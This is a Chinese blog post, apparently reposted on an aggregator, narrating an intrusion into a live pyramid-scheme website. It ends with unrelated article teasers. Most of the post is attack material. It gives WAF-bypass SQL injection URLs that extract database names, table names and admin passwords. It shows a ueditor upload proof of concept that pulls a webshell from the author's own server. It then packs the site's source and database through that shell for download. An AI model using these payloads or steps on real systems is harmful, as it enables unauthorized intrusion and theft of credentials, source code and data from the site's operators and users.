pythom打包文件太大_从SQL注入到整站打包与本地搭建

ff15da7635e1592bf89eeb31bbf20d8f.png

一、前言

如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。

二、信息搜集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。

三、Bypass Sql

3.1 Fuzz

空格      error
加号      未拦截
等号      error
单引号     error
双引号     未拦截
双括号     未拦截
+select     error
%0bselect   未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert()   未拦截

根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。

85fc1ee25e90b2eba7c80ca02bf584e4.png
goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名

得到以下信息:

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*SQLEXPRESS      10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

再往下就是获取表的信息

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

a60cdb3cfebe18f47dddafb1487929c1.png

由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。

9e9c34337001fd1c781f692791eca5f9.png

3.2 万金油

此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

获取到第一个表名:jsrecord

81bc270cd742dfe1e56262913f12950d.png

由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

96101d3ff1510353e3a1c54aec3725c4.png

此时只需要遍历top的数值即可,例如:

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

67bd03e65c35448311a610177139636e.png

通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下: 首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

548f68fc8ac8c2e4670f5dc2a7dca3dd.png

7fa00ac88efee64bc6562f62fb9d3467.png

然后使用Grep-Extact提取表名。

dd725e80262a5a8b29eb6983c1fc07ca.png

a0cd6d4d9a32020e5ea2c983e5f207e6.png

d3144eac0ee7f25a9b469266708e3d72.png

保存结果后去重即可。

3df5c97ccf18bb90e1117cac52b069f1.png

和前面获取到的表总个数是一致的。

解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。

15679325c663e78064f586844d3563c6.png

如图,盲猜列名txt_nickname、nickname、txt_password、password

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/

d62181a202ae323e6277aa4428d61663.png
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/

e485191356ac470fc270dd2bfe2e66c5.png

三、后台getshell

登陆后台

8b51cb8c10e3dc8863e235acc9926caf.png

经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename="1.aspx"中的双引号绕过安全狗,但无法绕过程序自身的检测。

Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

不过得知上传组件为ueditor,且.net版本存在上传漏洞 poc如下

<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址

https://o0o0.club/a.gif?.aspx

1ab1d5eceb3f259e6927ad4c21049651.png

提交后即可得到shell路径

四、打包源码与数据库

在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

332de2442b0181e7568453f6817e14ec.png

82cdff8e6f8b919fb33f57d9ba16b2aa.png

源码

这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar

最终以每秒100k的速度下载完成。

590d18cd8cf51de9d884267acbe449c3.png

数据库

略过,后台自带备份功能

坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。

五、本地搭建

本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

SQL Server

安装过程略过 导入数据

新建数据库,然后通过原设备还原数据

d46df30b586b90d1b12bb0ef06d5e51d.png

81cac0b89f2454168270a18c2b8c42da.png

还原成功

06e0aa1c2ed0bec86e428eb4bab6816e.png

IIS与http://ASP.NET

安装一笔带过,左边拉满就行,简单粗暴

264d827e0506d246912b7b99170a016a.png

979f60b17ba2a2b6aba45c9e0dcb16b0.png

添加站点

ceb452c64330d80f90b2f6f5a064ede3.png

最好对应目标版本

a82531ab54871c94b6b5c412e93849a2.png

修改源码中的配置文件

cb6db6f9e6c7326b80b40cd21ef1c0d1.png

访问

31d49c0d40e9eeeb133bb918e032bee4.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/429173.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二、常用API——String类和StringBuilder类

1.API 1.1 API概述-帮助文档的使用 什么是API ​ API (Application Programming Interface) &#xff1a;应用程序编程接口 java中的API ​ 指的就是 JDK 中提供的各种功能的 Java类&#xff0c;这些类将底层的实现封装了起来&#xff0c;我们不需要关心这些类是如何实现的&a…

iphone复制不能全选_忘记Apple ID密码,如何直接在 iPhone 上更改?

最近有不少同学问我&#xff0c;如果忘记了 Apple ID 的密码&#xff0c;怎么能直接在 iPhone 上修改&#xff1f;别急&#xff0c;我现在就教你如果之前已经在 iPhone 上登录过你的账户&#xff0c;并且已经将 iPhone 设置为「受信任设备」&#xff0c;那么就可以直接在 iPhon…

nginx 上传 文件超时设置_Nginx在高并发下的性能优化点!有这篇就够了!

点击上方“java进阶架构师”&#xff0c;选择右上角“置顶公众号”20大进阶架构专题每日送达前面几周&#xff0c;讲过Nginx的日志配置&#xff1a;Nginx | 超详细&#xff01;Nginx 日志配置实践&#xff0c;然后也讲了Nginx的进程模型&#xff0c;底层原理等&#xff1a;Ngin…

四、java面向对象高级——分类和分包思想、static关键字

1.案例驱动模式 1.1案例驱动模式概述 (理解) 通过我们已掌握的知识点,先实现一个案例,然后找出这个案例中,存在的一些问题,在通过新知识点解决问题 1.2案例驱动模式的好处 (理解) 解决重复代码过多的冗余,提高代码的复用性解决业务逻辑聚集紧密导致的可读性差,提高代码的可…

五、java面向对象高级——java中的继承和抽象类

1. 继承 1.1 继承的实现&#xff08;掌握&#xff09; 继承的概念 继承是面向对象三大特征之一&#xff0c;可以使得子类具有父类的属性和方法&#xff0c;还可以在子类中重新定义&#xff0c;以及追加属性和方法 实现继承的格式 继承通过extends实现格式&#xff1a;class 子…

万丰科技机器人排名_2020年全国机器人企业数量大排名(省份榜|9月)

点击上方兔子岛关注浩然哥原创不易 欢迎分享转载请注明出处作者&#xff1a;浩然哥2020年全国机器人企业数量大排名省份榜|9月大家好&#xff0c;《全国机器人企业数量大排名》又和大家见面了。本期是2020年省份榜的9月份榜单。2020年年底了&#xff0c;近期7月、9月、11月&am…

php函数scandir_PHP函数glob:扫描目录文件更好的方式

如果想要扫描一个目录下的文件&#xff0c;以及目录&#xff0c;应该怎么做呢。大家第一印象&#xff0c;可能是 scandir &#xff0c;这个函数用来扫描给定路径下的文件列表&#xff0c;用法示例如下&#xff1a;array scandir ( string $directory [, int $sorting_order [, …

可信计算 沈昌祥_沈昌祥院士:用主动免疫可信计算构筑车联网安全防线

“智能网联汽车如果没有网络安全&#xff0c;就相当于一个没有免疫系统的人&#xff0c;因此要在智能汽车方面构筑自主可控、安全可信的产业链。” 在6月24日举办的第四届世界智能大会——新一代汽车智能化发展峰会上&#xff0c;中国工程院院士沈昌祥如是说。文&#xff5c;田…

七、java面向对象高级——内部类、lambda表达式及常用API

1.内部类 1.1 内部类的基本使用&#xff08;理解&#xff09; 内部类概念 在一个类中定义一个类。举例&#xff1a;在一个类A的内部定义一个类B&#xff0c;类B就被称为内部类 内部类定义格式 格式&举例&#xff1a; /*格式&#xff1a;class 外部类名{修饰符 class 内部…

id jquery选择器 开头_HTML的id选择器类选择器

一、问题&#xff1a;我们前面讲了标签选择器有一个缺陷就是它不加选择的把所有相同的标签全都变成统一样式&#xff0c;这对于我们个性化定制产生了阻碍&#xff0c;因此我们便引出了id选择器&#xff0c;来进行特别指定进行配置样式二、id选择器1.定义&#xff1a;根据指定的…

八、java中常见API及java异常处理

1.包装类 1.1 基本类型包装类&#xff08;记忆&#xff09; 基本类型包装类的作用 将基本数据类型封装成对象的好处在于可以在对象中定义更多的功能方法操作该数据 常用的操作之一&#xff1a;用于基本数据类型与字符串之间的转换 基本类型对应的包装类 基本数据类型包装类by…

弹出并点击弹框关闭 自定义toast_关于别名配置使用弹框交互应用的思考

温馨提示如果你喜欢本文&#xff0c;请帮助我将这篇文章分享到朋友圈&#xff0c;喜欢我的文章&#xff0c;可以关注我&#xff0c;我们一起交流。本文&#xff1a;2052字 | 估计阅读&#xff1a;6分钟我在思考功能实现需求的时候&#xff0c;会斟酌和判断使用什么样的功能和交…

POJ 1189 钉子和小球

题目链接&#xff1a;http://poj.org/problem?id1189 dp 可以知道一共有2^n条路径&#xff0c;则设顶点有2^n个球&#xff0c;若当前为*则向左右的球各有一半&#xff1b;若为.&#xff0c;则球全部掉入正下方。 1 #include<iostream>2 #include<cstring>3 #inclu…

MySQL学习笔记(总结)

一、MySQL课程内容 对应视频教程&#xff1a;千锋教育JavaWeb基础入门到实战教程&#xff0c;javaSE基础进阶java web快速入门教程完整版_哔哩哔哩_bilibili 1.1 数据库介绍 数据库概念术语介绍 1.2 MySQL数据库 下载、安装、配置、卸载MySQL客户端工具的安装及使用 1.3 …

按群计数10以内_【乐玩乐学】有趣的计数活动

_有趣的计数活动写给爸爸妈妈的话&#xff1a;时间、日期、体重、地址世界上到处都是各种各样的数字。有了数字我们的交流才变得更加通畅。但是在这些方便的数字出现之前&#xff0c;生活在很久很久以前的人们是怎么数数、怎么表示数量的呢&#xff1f;他们用的就是手、脚等身体…

数据结构学习笔记总结(部分内容后续会更新)

第一章 绪论 1.1 数据结构的研究内容 1.2 基本概念和术语 1.2.1 数据、数据元素、数据项和数据对象 1.数据 数据&#xff1a;是能够输入计算机且能被计算机处理的各种符号的集合 信息的载体是对客观事物符号化的表示能够被计算机识别、存储和加工 包括&#xff1a; 数值型的…

git 怎么拉去分支代码_Git使用技巧1——代码写错分支了怎么办?

工欲善其事&#xff0c;必先利其器。前言Git的本质git是一个版本控制工具&#xff0c;一切以版本控制为中心&#xff0c;版本即每一次commit&#xff0c;其实分支是指向commit的&#xff0c;HEAD也是指向某一次提交的&#xff0c;HEAD其实指向的就是当前分支的最近一次commit&a…

一、MySQL基础

MySQL基础 今日目标&#xff1a; 完成MySQL的安装及登陆基本操作能通过SQL对数据库进行CRUD能通过SQL对表进行CRUD能通过SQL对数据进行CRUD 1&#xff0c;数据库相关概念 以前我们做系统&#xff0c;数据持久化的存储采用的是文件存储。存储到文件中可以达到系统关闭数据不会…

如何给ppt编辑页码_拒绝千篇一律:Word插入“侧边”页码,让文档别具一格!...

微信扫码观看全套Excel、Word、PPT视频之前&#xff0c;有为大家介绍过插入页码的技法&#xff0c;你还记吗&#xff1f;(点击此处&#xff0c;阅读文章)我们已知道Word插入页码的方法&#xff0c;而且我们也很会用了。但是&#xff0c;如果要插入下图所示的侧边页码&#xff0…

二、MySQL高级

mysql高级 今日目标 掌握约束的使用 掌握表关系及建表原则 重点掌握多表查询操作 掌握事务操作 1&#xff0c;约束 上面表中可以看到表中数据存在一些问题&#xff1a; id 列一般是用标示数据的唯一性的&#xff0c;而上述表中的id为1的有三条数据&#xff0c;并且 马花疼…